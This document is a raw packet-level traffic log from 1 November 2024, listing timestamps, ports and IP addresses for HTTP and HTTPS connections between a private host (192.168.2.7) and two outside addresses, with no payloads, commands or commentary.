Nov 1, 2024 12:34:30.107281923 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.107287884 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.107295990 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.107301950 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.107330084 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.107330084 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.107351065 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.107352972 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.107359886 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.107371092 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.107374907 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.107389927 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.107403040 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.107450962 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.107637882 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.107656956 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.107667923 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.107673883 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.107680082 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.107692003 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.107697964 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.107712030 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.107713938 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.107721090 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.107724905 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.107738972 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.107738972 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.107774019 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.107774019 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.107783079 CET	443	49998	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:30.107852936 CET	443	49998	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:30.107908010 CET	49998	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:30.115165949 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.130918980 CET	49998	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:30.130940914 CET	443	49998	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:30.130954027 CET	49998	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:30.130959988 CET	443	49998	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:30.142055035 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.142112017 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.142117977 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.142128944 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.142206907 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.213887930 CET	49997	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.214611053 CET	49999	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.219836950 CET	80	49997	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.219888926 CET	49997	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.220356941 CET	80	49999	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.220433950 CET	49999	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.220755100 CET	49999	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.225642920 CET	80	49999	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.249253035 CET	50000	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:30.249303102 CET	443	50000	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:30.249366999 CET	50000	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:30.249699116 CET	50000	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:30.249708891 CET	443	50000	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:30.261332035 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.261347055 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.261358976 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.261374950 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.261387110 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.261403084 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.261413097 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.261415958 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.261446953 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.261459112 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.261465073 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.261485100 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.261554956 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.261567116 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.261576891 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.261591911 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.261593103 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.261609077 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.261615992 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.261622906 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.261635065 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.261647940 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.261658907 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.261662006 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.261683941 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.261703968 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.262634993 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.262646914 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.262656927 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.262681961 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.262701035 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.262712002 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.262744904 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.262765884 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.262784004 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.262794971 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.262804031 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.262804985 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.262816906 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.262825966 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.262856007 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.262892008 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.262903929 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.262921095 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.262933969 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.262948036 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.262959957 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.262969971 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.262980938 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.262981892 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.263010025 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.263046980 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.263062954 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.263083935 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.263165951 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.263185978 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.263197899 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.263210058 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.263210058 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.263238907 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.263302088 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.263317108 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.263330936 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.263345957 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.263376951 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.269447088 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.269575119 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.269586086 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.269598007 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.269609928 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.269627094 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.269629955 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.269640923 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.269671917 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.271122932 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.271135092 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.271152973 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.271164894 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.271182060 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.271188974 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.271197081 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.271207094 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.271209002 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.271219969 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.271231890 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.271239996 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.271256924 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.277602911 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.277625084 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.277636051 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.277676105 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.277699947 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.277719021 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.277734995 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.277745962 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.277757883 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.277769089 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.277775049 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.277791977 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.277852058 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.277863979 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.277875900 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.277887106 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.277894974 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.277940035 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.277945042 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.277952909 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.277964115 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.277973890 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.277976036 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.277995110 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.278026104 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278042078 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278053045 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278059959 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.278070927 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278083086 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278094053 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278096914 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.278106928 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278115988 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.278117895 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278151989 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.278177977 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278191090 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278204918 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278219938 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.278244019 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.278270960 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278281927 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278294086 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278316021 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.278399944 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278412104 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278425932 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278440952 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.278472900 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.278476954 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278491020 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278501987 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278512955 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278526068 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278527975 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.278548002 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.278579950 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278618097 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.278697014 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278708935 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278719902 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278734922 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278770924 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.278770924 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.278795958 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278815985 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278825998 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278836012 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278847933 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278856039 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.278858900 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278863907 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.278889894 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278902054 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278903008 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.278913021 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.278932095 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.286276102 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.286288023 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.286298037 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.286339998 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.286350965 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.286360025 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.286360025 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.286372900 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.286385059 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.286403894 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.286425114 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.286478043 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.286489010 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.286499023 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.286509991 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.286516905 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.286523104 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.286533117 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.286535025 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.286549091 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.286559105 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.286561012 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.286573887 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.286586046 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.286595106 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.286603928 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.286617994 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.286648989 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.286681890 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.286693096 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.286721945 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.287832022 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.287870884 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.287879944 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.287890911 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.287914991 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.287939072 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.294333935 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294380903 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294390917 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294428110 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294428110 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.294440031 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294450998 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294464111 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294466019 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.294476032 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294487000 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294497967 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.294512987 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.294516087 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294528008 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294545889 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294554949 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.294563055 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294585943 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.294640064 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294651985 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294662952 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294678926 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.294704914 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.294728041 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294739008 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294750929 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294760942 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294781923 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.294806957 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.294841051 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294852972 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294862986 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294873953 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294883966 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294893026 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.294915915 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.294961929 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294971943 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294987917 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.294998884 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.295007944 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.295010090 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.295022964 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.295028925 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.295036077 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.295047045 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.295051098 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.295080900 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.295089006 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.295100927 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.295128107 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.295130014 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.295156956 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.295162916 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.295248985 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.295260906 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.295272112 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.295299053 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.295332909 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.295365095 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.295382023 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.295392036 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.295409918 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.295420885 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.295423985 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.295434952 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.295445919 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.295452118 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.295460939 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.295473099 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.295490980 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.295501947 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.295509100 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.295516968 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.295527935 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.295550108 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.295562029 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.295567036 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.295576096 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.295620918 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.295644999 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.295655966 CET	80	49996	185.215.113.16	192.168.2.7
